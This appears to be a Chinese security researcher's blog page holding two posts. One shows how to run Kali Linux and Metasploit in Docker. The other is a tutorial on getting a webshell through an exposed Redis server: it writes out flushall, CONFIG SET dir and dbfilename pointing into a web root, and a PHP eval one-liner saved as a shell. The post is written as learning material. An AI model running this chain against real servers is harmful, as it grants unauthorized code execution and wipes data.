Tuuu's Blog

安全盒子创始人,专注于Web安全研究。

分类 Linux/MAC 下的文章

作者:@王松_Tuuu   时间:August 21, 2016

在Docker中运行Kali Linux/Metasploit

前几天爆出来一个zabbix的漏洞,想研究研究,看到群里别人搭建似乎很麻烦的样子,于是打算用Docker来搭建研究环境。

首先去Docker Hub搜索了一发zabbix:

2.png

有好几个版本,也有我们想要研究的存在漏洞的版本。

好吧,似乎偏题了,这篇文章要讲的是在Docker中运行Metasploit。

笔记本换成Mac有一段时间了,之前本机装了metasploit,也跑起来了

但是后来因为各种ruby的问题,又跑不动了,原因未知,想到刚才就说是否可以用Docker来运行Metasploit

答案是可以的~~

还是先去搜索了一下Docker Image,使用命令:

docker search metasploit

1.png

果然有很多,选了一个star比较多的,pull下来:

docker pull linuxkonsult/kali-metasploit

3.png

先看下pull是否成功了:

docker images

4.png

看到metasploit已然躺在那里,然后我们进入交互式shell看看:

docker run -it xxxx

xxx是Image ID,因为名字太长了…… 所以输入ID比较方便:

5.png

此时已经可以进行主动攻击了,可以ping通外网:

6.png

随后如果我们要返回shell回来呢?

我们可以使用-p来把容器的端口映射到本机,然后照常反弹即可。

另外,我们知道在Metasploit命令行中,我们也可以运行系统命令,

所以Kali一些命令行下的程序也是可以运行的,这个系统是基于Kali Linux2.0的,比如Nmap:

7.png

欢迎各位大神指教

作者:@王松_Tuuu   时间:July 16, 2016

Learn Redis & Getshell via Redis

前言

redis是一个NoSQL数据库,也就是非关系型数据库(MySQL是关系型数据库),是一个基于内存,的key-value型数据库,当然他也可以保存到硬盘达到持久型。

因为看各位师傅都在发关于redis相关的东西,企业中用的也不少,所以简单研究一下redis的用法以及用它来getshell。

安装redis

在Ubuntu下安装redis

sudo apt-get install redis-server

在mac下安装redis

brew install redis

redis基础

要研究redis来getshell,首先得明显redis的基础运行流程。

可以来看这篇文章:http://www.runoob.com/redis/redis-tutorial.html

我花了两天时间把这篇文章看完了,其中也大概明白了如何利用redis来getshell。

利用redis来getshell

getshell的原理是通过配置数据库文件目录和地址,然后写入数据库一句话,最终getshell。

这篇文章里面,详细讲解了redis的配置。

可以看到其中有dbfilename,可以用来指定本地数据库文件名,默认是dump.rdb

dir配置可以指定本地数据库存放目录,把这两点结合起来,我们再往数据库中写入脚本木马,即可达到getshell的效果。

首先我们使用redis-cli连接redis:

redis-cli -h 192.168.0.16 -p 6379

随后为了让我们写入的数据可以在数据库文件靠前一点,可以先执行flushall

flushall会清空数据库的所有内容……,各位客官慎用。

不过好在之前看到jaychou师傅发了一个善待Redis,远离flushall,大家可以学习学习,我这个大家当做科普就好。

flushall以后,我们来设置数据库目录:

CONFIG SET dir /var/www/html/

然后设置文件名:

CONFIG SET dbfilename 2.php

随后将脚本密码写入数据库:

set webshell "<?php @eval($_POST['k']); ?>"

最终执行save保存到数据库文件:

save

然后看web目录下,shell已然躺在里面:

QQ20160716-0@2x.png

最后总得说点什么

redis getshell不算什么新技术,然而我现在才开始研究,感觉自己真是菜鸡,希望师傅们多带带我。